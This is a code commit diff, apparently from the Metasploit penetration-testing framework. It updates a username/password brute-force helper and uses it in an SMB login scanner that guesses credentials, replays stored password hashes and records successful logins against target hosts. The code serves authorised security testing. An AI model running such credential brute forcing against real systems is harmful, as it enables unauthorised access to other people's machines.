update the auth bruteforcer, and use it in smb/login

git-svn-id: file:///home/svn/framework3/trunk@8116 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-01-14 16:58:43 +00:00
parent bc9985d5da
commit 54095a585e
2 changed files with 183 additions and 62 deletions

View File

@ -12,8 +12,8 @@ def initialize(info = {})
super
register_options([
OptPath.new('USERNAMES_FILE', [ false, "File containing usernames, one per line" ]),
OptPath.new('PASSWORDS_FILE', [ false, "File containing passwords, one per line" ]),
OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ])
], Auxiliary::AuthBrute)
@ -22,60 +22,119 @@ def initialize(info = {})
end
#
# Calls the given block with usernames and passwords generated in the following way, in order:
# * the module's next_user_pass(), if any
# * contents of USERPASS_FILE, if any
# * the module's next_user() combined with next_pass() and the contents of PASS_FILE
# * contents of USER_FILE combined with the module's next_pass() and the contents of PASS_FILE
#
# After any invocation, the block may return
# :next_user
# to indicate that the current user needs no further processing and
# brute forcing should continue with the next username or
# :done
# to indicate that brute forcing should end completely.
#
# Generator methods (next_pass, and next_user_pass) must reset their state
# whenever they reach the end.
#
def each_user_pass(&block)
#$stdout.puts("Running through users and passwords")
if framework.db.active
#$stdout.puts("Using db auth info")
framework.db.get_auth_info.each { |auth_info|
next if not auth_info.kind_of? Hash
next if not auth_info.has_key? :user
next if not auth_info.has_key? :pass
block.call(auth_info[:user], auth_info[:pass])
# First, loop through sets of user/pass combinations
[ "next_user_pass", "_next_user_pass" ].each { |userpass_meth|
next if not self.respond_to?(userpass_meth)
@state = {}
@state[:status] = nil
while (upass = self.send(userpass_meth, @state))
@state[:status] = block.call(upass[0], upass[1])
case @state[:status]
# Let the generate method deal with :next_user
when :done; return
end
end
}
end
#$stdout.puts("Getting userpass")
while next_userpass
#$stdout.puts("calling block with #{@user} : #{@pass}")
block.call(@user, @pass)
# Then combinatorically examine all of the separate usernames and passwords
each_user { |user|
# Always try the username as the password
status = block.call(user, user)
case status
when :next_user; next
when :done; return
end
while next_user
#$stdout.puts("Getting user")
while next_pass
#$stdout.puts("calling block with #{@user} : #{@pass}")
ret = block.call(@user, @pass)
case ret
each_pass(user) { |pass|
status = block.call(user, pass)
case status
when :next_user; break
when :done; return
end
}
}
end
def each_user(&block)
state = {}
if self.respond_to? "next_user"
while user = next_user(state)
yield user
end
end
while user = _next_user(state)
yield user
end
end
def each_pass(user=nil, &block)
state = {:user => user}
if self.respond_to? "next_pass"
while pass = next_pass(state)
yield pass
end
end
while pass = _next_pass(state)
yield pass
end
end
protected
def next_user
return nil if not datastore["USERNAMES_FILE"]
@user_fd ||= File.open(datastore["USERNAMES_FILE"], "r")
return nil if @user_fd.eof?
@user = @user_fd.readline
true
def _next_user(state)
return nil if not datastore["USER_FILE"]
state[:user_fd] ||= File.open(datastore["USER_FILE"], "r")
if state[:user_fd].eof?
state[:user_fd].close
state[:user_fd] = nil
return nil
end
state[:user] = state[:user_fd].readline.strip
return state[:user]
end
def next_pass
return nil if not datastore["PASSWORDS_FILE"]
@user_fd ||= File.open(datastore["PASSWORDS_FILE"], "r")
return nil if @pass_fd.eof?
@pass = @pass_fd.readline
true
def _next_pass(state)
return nil if not datastore["PASS_FILE"]
state[:pass_fd] ||= File.open(datastore["PASS_FILE"], "r")
if state[:pass_fd].eof?
state[:pass_fd].close
state[:pass_fd] = nil
return nil
end
state[:pass] = state[:pass_fd].readline.strip
return state[:pass]
end
def next_userpass
def _next_user_pass(state)
return if not datastore["USERPASS_FILE"]
@userpass_fd ||= File.open(datastore["USERPASS_FILE"], "r")
return nil if @userpass_fd.eof?
line = @userpass_fd.readline
@user, @pass = line.split(/\s+/, 2)
@pass = "" if @pass.nil?
true
# Reopen the file each time so that we pick up any changes
state[:userpass_fd] ||= File.open(datastore["USERPASS_FILE"], "r")
if state[:userpass_fd].eof?
state[:userpass_fd].close
state[:userpass_fd] = nil
return nil
end
line = state[:userpass_fd].readline
state[:user], state[:pass] = line.split(/\s+/, 2)
state[:pass] = "" if state[:pass].nil?
state[:user].strip!
state[:pass].strip!
return [ state[:user], state[:pass] ]
end

View File

@ -20,7 +20,11 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SMB
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def proto
'smb'
end
def initialize
super(
@ -36,44 +40,102 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE
)
deregister_options('RHOST')
# These are normally advanced options, but for this module they have a
# more active role, so make them regular options.
register_options(
[
OptString.new('SMBPass', [ false, "SMB Password", '']),
OptString.new('SMBUser', [ false, "SMB Username", 'Administrator']),
OptString.new('SMBPass', [ false, "SMB Password" ]),
OptString.new('SMBUser', [ false, "SMB Username" ]),
OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']),
], self.class)
@passes = [ '' ]
end
def run_host(ip)
print_status("Starting host #{ip}")
if (datastore["SMBUser"] and not datastore["SMBUser"].empty?)
# then just do this user/pass
try_user_pass(datastore["SMBUser"], datastore["SMBPass"])
else
begin
# Add the hosts smb name as a password to try
connect
smb_fingerprint
@passes.push(simple.client.default_name) if simple.client.default_name
disconnect
each_user_pass { |user, pass|
try_user_pass(user, pass)
}
rescue ::Rex::ConnectionError
nil
end
end
end
def try_user_pass(user, pass)
datastore["SMBUser"] = user
datastore["SMBPass"] = pass
#$stdout.puts("#{user} : #{pass}")
# Connection problems are dealt with at a higher level
connect()
begin
smb_login()
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if(e.error_code)
print_status("#{ip} - FAILED #{ "0x%.8x" % e.error_code } - #{e.error_reason}")
else
print_status("#{ip} - FAILED #{e}")
end
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
return
end
if(simple.client.auth_user)
print_status("#{ip} - SUCCESSFUL LOGIN (#{smb_peer_os})")
print_good("#{rhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) #{user} : #{pass}")
report_auth_info(
:host => ip,
:proto => 'SMB',
:user => datastore['SMBUser'],
:pass => datastore['SMBPass'],
:targ_host => ip,
:host => rhost,
:proto => 'smb',
:user => user,
:pass => pass,
:targ_host => rhost,
:targ_port => datastore['RPORT']
)
else
print_status("#{ip} - GUEST LOGIN (#{smb_peer_os})")
print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{user} : #{pass}")
end
disconnect()
return :next_user
end
def next_user_pass(state)
return nil if state[:status] == :done
if (not state[:auth_info])
state[:auth_info] = framework.db.get_auth_info(:proto => 'smb')
return nil if not state[:auth_info]
state[:auth_info].delete_if { |a| not a.kind_of? Hash }
state[:auth_info].delete_if { |a| not a.has_key? :user or not a.has_key? :hash }
state[:idx] = 0
end
if state[:auth_info][state[:idx]]
user = state[:auth_info][state[:idx]][:user]
pass = state[:auth_info][state[:idx]][:hash]
state[:idx] += 1
return [ user, pass ]
end
return nil
end
def next_pass(state)
return nil if state[:status] == :done
return nil if state[:status] == :next_user
if not state[:idx]
state[:idx] = 0
end
pass = @passes[state[:idx]]
state[:idx] += 1
return pass
end
end